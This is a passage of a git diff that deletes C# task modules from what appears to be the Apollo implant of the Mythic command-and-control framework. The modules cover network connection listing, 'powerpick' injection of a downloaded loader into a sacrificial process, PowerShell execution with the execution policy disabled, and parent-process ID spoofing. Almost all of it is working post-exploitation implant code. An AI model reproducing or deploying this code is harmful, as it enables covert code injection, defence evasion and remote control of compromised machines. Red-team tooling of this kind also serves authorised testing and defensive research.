TCP_TABLE_OWNER_PID_ALL, - TCP_TABLE_OWNER_MODULE_LISTENER, - TCP_TABLE_OWNER_MODULE_CONNECTIONS, - TCP_TABLE_OWNER_MODULE_ALL - } - - private enum UDP_TABLE_CLASS - { - UDP_TABLE_BASIC, - UDP_TABLE_OWNER_PID, - UDP_TABLE_OWNER_MODULE - } - - #endregion - - #region structs - - [StructLayout(LayoutKind.Sequential)] - public struct MIB_UDP6ROW_OWNER_PID - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - private byte[] localAddr; - private uint localScopeId; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - private byte[] localPort; - private uint owningPid; - - public uint ProcessId => owningPid; - - private long LocalScopeId => localScopeId; - - public IPAddress LocalAddress => new IPAddress(localAddr, LocalScopeId); - - public ushort LocalPort => BitConverter.ToUInt16(localPort.Take(2).Reverse().ToArray(), 0); - } - - [StructLayout(LayoutKind.Sequential)] - public struct MIB_UDP6TABLE_OWNER_PID - { - public uint dwNumEntries; - [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)] - public MIB_UDP6ROW_OWNER_PID[] table; - } - - [StructLayout(LayoutKind.Sequential)] - public struct MIB_UDPTABLE_OWNER_PID - { - public uint dwNumEntries; - [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)] - public MIB_UDPROW_OWNER_PID[] table; - } - - [StructLayout(LayoutKind.Sequential)] - public struct MIB_UDPROW_OWNER_PID - { - private uint localAddr; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - private byte[] localPort; - private uint owningPid; - - public uint ProcessId => owningPid; - - public IPAddress LocalAddress => new IPAddress(localAddr); - - public ushort LocalPort => BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); - } - - // https://stackoverflow.com/a/577660 - [StructLayout(LayoutKind.Sequential)] - public struct MIB_TCPROW_OWNER_PID - { - private uint state; - private uint localAddr; - private byte localPort1; - private byte localPort2; - private byte localPort3; - private byte localPort4; - private uint remoteAddr; - private byte remotePort1; - private byte remotePort2; - private byte remotePort3; - private byte remotePort4; - private uint owningPid; - - public uint ProcessId => owningPid; - public IPAddress LocalAddress => new IPAddress(localAddr); - - public IPAddress RemoteAddress => new IPAddress(remoteAddr); - - public ushort LocalPort => BitConverter.ToUInt16(new byte[2] { localPort2, localPort1}, 0); - - public ushort RemotePort => BitConverter.ToUInt16(new byte[2] {remotePort2, remotePort1}, 0); - - public TcpState State => (TcpState)state; - } - - // https://msdn2.microsoft.com/en-us/library/aa366921.aspx - [StructLayout(LayoutKind.Sequential)] - private struct MIB_TCPTABLE_OWNER_PID - { - public uint dwNumEntries; - [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)] - public MIB_TCPROW_OWNER_PID[] table; - } - - // https://www.pinvoke.net/default.aspx/Structures/MIB_TCP6ROW_OWNER_PID.html - [StructLayout(LayoutKind.Sequential)] - public struct MIB_TCP6ROW_OWNER_PID - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - private byte[] localAddr; - - private uint localScopeId; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - private byte[] localPort; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - private byte[] remoteAddr; - - private uint remoteScopeId; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - private byte[] remotePort; - - private uint state; - private uint owningPid; - - public uint ProcessId => owningPid; - - private long LocalScopeId => localScopeId; - - public IPAddress LocalAddress => new IPAddress(localAddr, LocalScopeId); - - public ushort LocalPort => BitConverter.ToUInt16(localPort.Take(2).Reverse().ToArray(), 0); - - private long RemoteScopeId => remoteScopeId; - - public IPAddress RemoteAddress => new IPAddress(remoteAddr, RemoteScopeId); - - public ushort RemotePort => BitConverter.ToUInt16(remotePort.Take(2).Reverse().ToArray(), 0); - - public TcpState State => (TcpState)state; - } - - // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366905 - [StructLayout(LayoutKind.Sequential)] - private struct MIB_TCP6TABLE_OWNER_PID - { - public uint dwNumEntries; - [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)] - public MIB_TCP6ROW_OWNER_PID[] table; - } - - #endregion - - #endregion - - public netstat(IAgent agent, MythicTask data) : base(agent, data) - { - if (_pGetExtendedTcpTable == null) - { - _pGetExtendedTcpTable = _agent.GetApi().GetLibraryFunction(Library.IPHLPAPI, "GetExtendedTcpTable"); - } - if (_pGetExtendedUdpTable == null) - { - _pGetExtendedUdpTable = _agent.GetApi().GetLibraryFunction(Library.IPHLPAPI, "GetExtendedUdpTable"); - } - } - - public override void Kill() - { - throw new NotImplementedException(); - } - - public class IConnectionWrapper : IDisposable - { - private const int AF_INET = 2; // IP_v4 = System.Net.Sockets.AddressFamily.InterNetwork - private const int AF_INET6 = 23; // IP_v6 = System.Net.Sockets.AddressFamily.InterNetworkV6 - - // Creates a new wrapper for the local machine - public IConnectionWrapper() { } - - // Disposes of this wrapper - public void Dispose() - { - GC.SuppressFinalize(this); - } - - public List GetAllTCPv4Connections() - { - return GetTCPConnections(AF_INET); - } - - public List GetAllTCPv6Connections() - { - return GetTCPConnections(AF_INET6); - } - - public List GetAllUDPv4Connections() - { - return GetUDPConnections(AF_INET); - } - - public List GetAllUDPv6Connections() - { - return GetUDPConnections(AF_INET6); - } - - private static List GetTCPConnections(int ipVersion) - { - //IPR = Row Type, IPT = Table Type - IPR[] tableRows; - int buffSize = 0; - FieldInfo dwNumEntriesField = typeof(IPT).GetField("dwNumEntries"); - - // how much memory do we need? - _pGetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, ipVersion, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); - IntPtr tcpTablePtr = Marshal.AllocHGlobal(buffSize); - - try - { - uint ret = _pGetExtendedTcpTable(tcpTablePtr, ref buffSize, true, ipVersion, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); - if (ret != 0) - return new List(); - - // get the number of entries in the table - IPT table = (IPT)Marshal.PtrToStructure(tcpTablePtr, typeof(IPT)); - int rowStructSize = Marshal.SizeOf(typeof(IPR)); - uint numEntries = (uint)dwNumEntriesField.GetValue(table); - - // buffer we will be returning - tableRows = new IPR[numEntries]; - - IntPtr rowPtr = (IntPtr)((long)tcpTablePtr + 4); - for (int i = 0; i < numEntries; i++) { - IPR tcpRow = (IPR)Marshal.PtrToStructure(rowPtr, typeof(IPR)); - tableRows[i] = tcpRow; - rowPtr = (IntPtr)((long)rowPtr + rowStructSize); // next entry - } - } - finally - { - Marshal.FreeHGlobal(tcpTablePtr); - } - - return tableRows != null ? tableRows.ToList() : new List(); - - } - - private static List GetUDPConnections(int ipVersion)//IPR = Row Type, IPT = Table Type - { - IPR[] tableRows; - int buffSize = 0; - - FieldInfo dwNumEntriesField = typeof(IPT).GetField("dwNumEntries"); - - // how much memory do we need? - _pGetExtendedUdpTable(IntPtr.Zero, ref buffSize, true, ipVersion, UDP_TABLE_CLASS.UDP_TABLE_OWNER_PID); - IntPtr tcpTablePtr = Marshal.AllocHGlobal(buffSize); - - try - { - uint ret = _pGetExtendedUdpTable(tcpTablePtr, ref buffSize, true, ipVersion, UDP_TABLE_CLASS.UDP_TABLE_OWNER_PID); - if (ret != 0) - return new List(); - - // get the number of entries in the table - IPT table = (IPT)Marshal.PtrToStructure(tcpTablePtr, typeof(IPT)); - int rowStructSize = Marshal.SizeOf(typeof(IPR)); - uint numEntries = (uint)dwNumEntriesField.GetValue(table); - - // buffer we will be returning - tableRows = new IPR[numEntries]; - - IntPtr rowPtr = (IntPtr)((long)tcpTablePtr + 4); - for (int i = 0; i < numEntries; i++) - { - IPR tcpRow = (IPR)Marshal.PtrToStructure(rowPtr, typeof(IPR)); - tableRows[i] = tcpRow; - rowPtr = (IntPtr)((long)rowPtr + rowStructSize); // next entry - } - } - finally - { - Marshal.FreeHGlobal(tcpTablePtr); - } - return tableRows != null ? tableRows.ToList() : new List(); - } - - // Occurs on destruction of the Wrapper - ~IConnectionWrapper() { Dispose(); } - } - - public override void Start() - { - IConnectionWrapper connectionWrapper = new IConnectionWrapper(); - List netstat = new List(); - NetstatParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - - if (!parameters.Udp) - { - foreach (MIB_TCPROW_OWNER_PID tcpEntry in connectionWrapper.GetAllTCPv4Connections()) { - if (parameters.Established) - { - if (tcpEntry.State != TcpState.Established) - continue; - } - - if (parameters.Listen) - { - if (tcpEntry.State != TcpState.Listen) - continue; - } - - netstat.Add(new NetstatEntry { - LocalAddress = tcpEntry.LocalAddress.ToString(), - RemoteAddress = tcpEntry.RemoteAddress.ToString(), - LocalPort = tcpEntry.LocalPort, - RemotePort = tcpEntry.RemotePort, - Pid = tcpEntry.ProcessId, - State = tcpEntry.State.ToString() , - Protocol = "TCP", - IpVersion = 4 - }); - } - - foreach (MIB_TCP6ROW_OWNER_PID tcp6Entry in connectionWrapper.GetAllTCPv6Connections()) - { - if (parameters.Established) - { - if (tcp6Entry.State != TcpState.Established) - continue; - } - - if (parameters.Listen) - { - if (tcp6Entry.State != TcpState.Listen) - continue; - } - - netstat.Add(new NetstatEntry { - LocalAddress = "[" + tcp6Entry.LocalAddress.ToString() + "]", - RemoteAddress = "[" + tcp6Entry.RemoteAddress.ToString() + "]", - LocalPort = tcp6Entry.LocalPort, - RemotePort = tcp6Entry.RemotePort, - Pid = tcp6Entry.ProcessId, - State = tcp6Entry.State.ToString(), - Protocol = "TCP", - IpVersion = 6 - }); - } - } - - if (!parameters.Tcp && !parameters.Established && !parameters.Listen) - { - foreach (MIB_UDPROW_OWNER_PID udpEntry in connectionWrapper.GetAllUDPv4Connections()) - { - netstat.Add(new NetstatEntry { - LocalAddress = udpEntry.LocalAddress.ToString(), - RemoteAddress = "0.0.0.0", - LocalPort = udpEntry.LocalPort, - RemotePort = 0, - Pid = udpEntry.ProcessId, - State = null, - Protocol = "UDP", - IpVersion = 4 - }); - } - - foreach (MIB_UDP6ROW_OWNER_PID udp6Entry in connectionWrapper.GetAllUDPv6Connections()) - { - netstat.Add(new NetstatEntry { - LocalAddress = "[" + udp6Entry.LocalAddress.ToString() + "]", - RemoteAddress = "0.0.0.0", - LocalPort = udp6Entry.LocalPort, - RemotePort = 0, - Pid = udp6Entry.ProcessId, - State = null, - Protocol = "UDP", - IpVersion = 6 - }); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - _jsonSerializer.Serialize(netstat.ToArray()), - true, - "")); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/packages.config b/Payload_Type/apollo/apollo/agent_code/Tasks/packages.config deleted file mode 100644 index 137b43ec..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs deleted file mode 100644 index 83b61918..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/powerpick.cs +++ /dev/null @@ -1,284 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define POWERPICK -#endif - -#if POWERPICK - -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.Collections.Concurrent; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Collections; -using ApolloInterop.Utils; - -namespace Tasks -{ - public class powerpick : Tasking - { - [DataContract] - internal struct PowerPickParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "powershell_params")] - public string PowerShellParams; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - } - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - - private Action _flushMessages; - private ThreadSafeList _assemblyOutput = new ThreadSafeList(); - private bool _completed = false; - private System.Threading.Tasks.Task flushTask; - public powerpick(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - try - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - catch - { - ps.Close(); - _complete.Set(); - return; - } - - } - else if (!ps.IsConnected) - { - ps.Close(); - _complete.Set(); - return; - } - } - ps.Close(); - _complete.Set(); - }; - - _flushMessages = (object p) => - { - string output = ""; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }, 1000); - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - while (true) - { - System.Threading.Tasks.Task.Delay(500).Wait(); // wait 1s - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - else - { - DebugHelp.DebugWriteLine($"no longer collecting output"); - return; - } - } - }; - } - - public override void Kill() - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - _cancellationToken.Cancel(); - - } - - public override void Start() - { - MythicTaskResponse resp; - Process proc = null; - try - { - PowerPickParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.LoaderStubId) || - string.IsNullOrEmpty(parameters.PowerShellParams) || - string.IsNullOrEmpty(parameters.PipeName)) - { - throw new ArgumentNullException($"One or more required arguments was not provided."); - } - if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] psPic)) - { - throw new Exception($"Failed to download powerpick loader stub (with id: {parameters.LoaderStubId})"); - } - - ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); - proc = _agent.GetProcessManager().NewProcess(info.Application, info.Arguments, true); - try - { - if (!proc.Start()) - { - throw new InvalidOperationException($"Failed to start sacrificial process {info.Application}"); - } - } - catch (Exception e) - { - throw new Exception($"Failed to start '{info.Application}' sacrificial process: {e.Message}"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, messages: - [ - Artifact.ProcessCreate((int)proc.PID, info.Application, info.Arguments) - ] - ) - ); - if (!proc.Inject(psPic)) - { - throw new Exception($"Failed to inject powerpick loader into sacrificial process {info.Application}."); - } - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, messages: - [ - Artifact.ProcessInject((int)proc.PID, _agent.GetInjectionManager().GetCurrentTechnique().Name) - ] - ) - ); - string cmd = ""; - var loadedScript = _agent.GetFileManager().GetScript(); - if (!string.IsNullOrEmpty(loadedScript)) - { - cmd += loadedScript; - } - - cmd += "\n\n" + parameters.PowerShellParams; - IPCCommandArguments cmdargs = new IPCCommandArguments - { - ByteData = new byte[0], - StringData = cmd - }; - AsyncNamedPipeClient client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnect; - if (!client.Connect(10000)) - { - throw new Exception($"Injected powershell into sacrificial process: {info.Application}.\n Failed to connect to named pipe: {parameters.PipeName}."); - } - - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - WaitHandle.WaitAny(new WaitHandle[] - { - _cancellationToken.Token.WaitHandle - }); - - resp = CreateTaskResponse("", true, "completed"); - - - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - if (proc != null && proc.PID > 0 && !proc.HasExited) - { - proc.Kill(); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true, "", new IMythicMessage[] - { - Artifact.ProcessKill((int)proc.PID) - })); - } - } - - private void Client_Disconnect(object sender, NamedPipeMessageArgs e) - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - e.Pipe.Close(); - _cancellationToken.Cancel(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - flushTask = System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - try - { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - catch - { - - } - - } - } - - private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) - { - IPCData d = e.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - DebugHelp.DebugWriteLine($"adding data to output"); - _assemblyOutput.Add(msg); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs deleted file mode 100644 index 24bc4ac1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/powershell.cs +++ /dev/null @@ -1,444 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define POWERSHELL -#endif - -#if POWERSHELL - -using ApolloInterop.Classes.IO; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Management.Automation; -using System.Management.Automation.Host; -using System.Threading; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ST = System.Threading.Tasks; -using System.Management.Automation.Runspaces; -using System.Collections.Concurrent; -using System.Runtime.Serialization; -using ApolloInterop.Classes.Collections; - -namespace Tasks -{ - public class powershell : Tasking - { - class CustomPowerShellHost : PSHost - { - private Guid _hostId = Guid.NewGuid(); - private CustomPSHostUserInterface _ui = new CustomPSHostUserInterface(); - - public override Guid InstanceId - { - get { return _hostId; } - } - - public override string Name - { - get { return "ConsoleHost"; } - } - - public override Version Version - { - get { return new Version(1, 0); } - } - - public override PSHostUserInterface UI - { - get { return _ui; } - } - - - public override CultureInfo CurrentCulture - { - get { return Thread.CurrentThread.CurrentCulture; } - } - - public override CultureInfo CurrentUICulture - { - get { return Thread.CurrentThread.CurrentUICulture; } - } - - public override void EnterNestedPrompt() - { - throw new NotImplementedException("EnterNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void ExitNestedPrompt() - { - throw new NotImplementedException("ExitNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void NotifyBeginApplication() - { - return; - } - - public override void NotifyEndApplication() - { - return; - } - - public override void SetShouldExit(int exitCode) - { - return; - } - } - - class CustomPSHostUserInterface : PSHostUserInterface - { - // Replace StringBuilder with whatever your preferred output method is (e.g. a socket or a named pipe) - private CustomPSRHostRawUserInterface _rawUi = new CustomPSRHostRawUserInterface(); - - public CustomPSHostUserInterface() - { - - } - - public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) - { - Console.Write(value); - } - - public override void WriteLine() - { - Console.WriteLine(); - } - - public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) - { - Console.WriteLine(value); - } - - public override void Write(string value) - { - Console.Write(value); - } - - public override void WriteDebugLine(string message) - { - Console.WriteLine("DEBUG: " + message); - } - - public override void WriteErrorLine(string value) - { - Console.WriteLine("ERROR: " + value); - } - - public override void WriteLine(string value) - { - Console.WriteLine(value); - } - - public override void WriteVerboseLine(string message) - { - Console.WriteLine("VERBOSE: " + message); - } - - public override void WriteWarningLine(string message) - { - Console.WriteLine("WARNING: " + message); - } - - public override void WriteProgress(long sourceId, ProgressRecord record) - { - return; - } - - public override Dictionary Prompt(string caption, string message, System.Collections.ObjectModel.Collection descriptions) - { - throw new NotImplementedException("Prompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection choices, int defaultChoice) - { - throw new NotImplementedException("PromptForChoice is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) - { - throw new NotImplementedException("PromptForCredential1 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName) - { - throw new NotImplementedException("PromptForCredential2 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSHostRawUserInterface RawUI - { - get { return _rawUi; } - } - - public override string ReadLine() - { - throw new NotImplementedException("ReadLine is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override System.Security.SecureString ReadLineAsSecureString() - { - throw new NotImplementedException("ReadLineAsSecureString is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - } - - - class CustomPSRHostRawUserInterface : PSHostRawUserInterface - { - // Warning: Setting _outputWindowSize too high will cause OutOfMemory execeptions. I assume this will happen with other properties as well - private Size _windowSize = new Size { Width = 120, Height = 100 }; - - private Coordinates _cursorPosition = new Coordinates { X = 0, Y = 0 }; - - private int _cursorSize = 1; - private ConsoleColor _foregroundColor = ConsoleColor.White; - private ConsoleColor _backgroundColor = ConsoleColor.Black; - - private Size _maxPhysicalWindowSize = new Size - { - Width = int.MaxValue, - Height = int.MaxValue - }; - - private Size _maxWindowSize = new Size { Width = 100, Height = 100 }; - private Size _bufferSize = new Size { Width = 100, Height = 1000 }; - private Coordinates _windowPosition = new Coordinates { X = 0, Y = 0 }; - private String _windowTitle = ""; - - public override ConsoleColor BackgroundColor - { - get { return _backgroundColor; } - set { _backgroundColor = value; } - } - - public override Size BufferSize - { - get { return _bufferSize; } - set { _bufferSize = value; } - } - - public override Coordinates CursorPosition - { - get { return _cursorPosition; } - set { _cursorPosition = value; } - } - - public override int CursorSize - { - get { return _cursorSize; } - set { _cursorSize = value; } - } - - public override void FlushInputBuffer() - { - throw new NotImplementedException("FlushInputBuffer is not implemented."); - } - - public override ConsoleColor ForegroundColor - { - get { return _foregroundColor; } - set { _foregroundColor = value; } - } - - public override BufferCell[,] GetBufferContents(Rectangle rectangle) - { - throw new NotImplementedException("GetBufferContents is not implemented."); - } - - public override bool KeyAvailable - { - get { throw new NotImplementedException("KeyAvailable is not implemented."); } - } - - public override Size MaxPhysicalWindowSize - { - get { return _maxPhysicalWindowSize; } - } - - public override Size MaxWindowSize - { - get { return _maxWindowSize; } - } - - public override KeyInfo ReadKey(ReadKeyOptions options) - { - throw new NotImplementedException("ReadKey is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) - { - throw new NotImplementedException("ScrollBufferContents is not implemented"); - } - - public override void SetBufferContents(Rectangle rectangle, BufferCell fill) - { - throw new NotImplementedException("SetBufferContents is not implemented."); - } - - public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) - { - throw new NotImplementedException("SetBufferContents is not implemented"); - } - - public override Coordinates WindowPosition - { - get { return _windowPosition; } - set { _windowPosition = value; } - } - - public override Size WindowSize - { - get { return _windowSize; } - set { _windowSize = value; } - } - - public override string WindowTitle - { - get { return _windowTitle; } - set { _windowTitle = value; } - } - } - - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private ThreadSafeList _psOutput = new ThreadSafeList(); - private AutoResetEvent _completed = new AutoResetEvent(false); - private bool _complete = false; - private Action _flushMessages; - - [DataContract] - internal struct PowerShellParameters - { - [DataMember(Name = "command")] public string Command; - } - - - public powershell(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _flushMessages = () => - { - string output = ""; - while(!_cancellationToken.IsCancellationRequested && !_complete) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _completed, - _cancellationToken.Token.WaitHandle - }, 1000); - output = string.Join("", _psOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - output = string.Join("", _psOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - }; - } - - - public override void Start() - { - System.Threading.Tasks.Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - MythicTaskResponse resp; - string cmd = ""; - var loadedScript = _agent.GetFileManager().GetScript(); - if (!string.IsNullOrEmpty(loadedScript)) - { - cmd += loadedScript; - } - - PowerShellParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - cmd += "\n\n" + parameters.Command; - - _agent.AcquireOutputLock(); - - TextWriter oldStdout = Console.Out; - TextWriter oldStderr = Console.Error; - try - { - EventableStringWriter stdoutSw = new EventableStringWriter(); - - stdoutSw.BufferWritten += OnBufferWrite; - - Console.SetOut(stdoutSw); - Console.SetError(stdoutSw); - - CustomPowerShellHost psHost = new CustomPowerShellHost(); - var state = InitialSessionState.CreateDefault(); - state.AuthorizationManager = null; - using (Runspace runspace = RunspaceFactory.CreateRunspace(psHost, state)) - { - runspace.Open(); - using (Pipeline pipeline = runspace.CreatePipeline()) - { - pipeline.Commands.AddScript(cmd); - pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); - pipeline.Commands.Add("Out-Default"); - ST.Task invokeTask = new ST.Task(() => { pipeline.Invoke(); }, _cancellationToken.Token); - try - { - invokeTask.Start(); - //ST.Task.WaitAny(new ST.Task[] - //{ - // invokeTask - //}, _cancellationToken.Token); - invokeTask.Wait(_cancellationToken.Token); - } - catch (OperationCanceledException) - { - } - } - } - - resp = CreateTaskResponse("", true); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected Error\n{ex.Message}\n\nStack trace: {ex.StackTrace}", true, "error"); - } - finally - { - Console.SetOut(oldStdout); - Console.SetError(oldStderr); - _agent.ReleaseOutputLock(); - _complete = true; - _completed.Set(); - } - - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void OnBufferWrite(object sender, ApolloInterop.Classes.Events.StringDataEventArgs e) - { - if(e.Data != null) - { - try - { - _psOutput.Add(e.Data); - } - catch { } - } - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ppid.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ppid.cs deleted file mode 100644 index 5f44595a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ppid.cs +++ /dev/null @@ -1,66 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define PPID -#endif - -#if PPID - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Diagnostics; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class ppid : Tasking - { - [DataContract] - internal struct PpidParameters - { - [DataMember(Name = "ppid")] - public int ParentProcessId; - } - public ppid(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - - } - - public override void Start() - { - MythicTaskResponse resp; - PpidParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - Process p = null; - string errorMsg = ""; - try - { - p = Process.GetProcessById(parameters.ParentProcessId); - } - catch (Exception ex) - { - errorMsg = $"Failed to set PPID to {parameters.ParentProcessId}: {ex.Message}"; - } - - if (p != null) - { - if (_agent.GetProcessManager().SetPPID(parameters.ParentProcessId)) - { - resp = CreateTaskResponse($"Set PPID to {parameters.ParentProcessId}", true); - } - else - { - resp = CreateTaskResponse("Failed to set PPID", true, "error"); - } - } - else - { - resp = CreateTaskResponse(errorMsg, true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs deleted file mode 100644 index d709f4ff..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ps.cs +++ /dev/null @@ -1,449 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define PS -#endif - -#if PS - -using System; -using ApolloInterop.Classes; -using 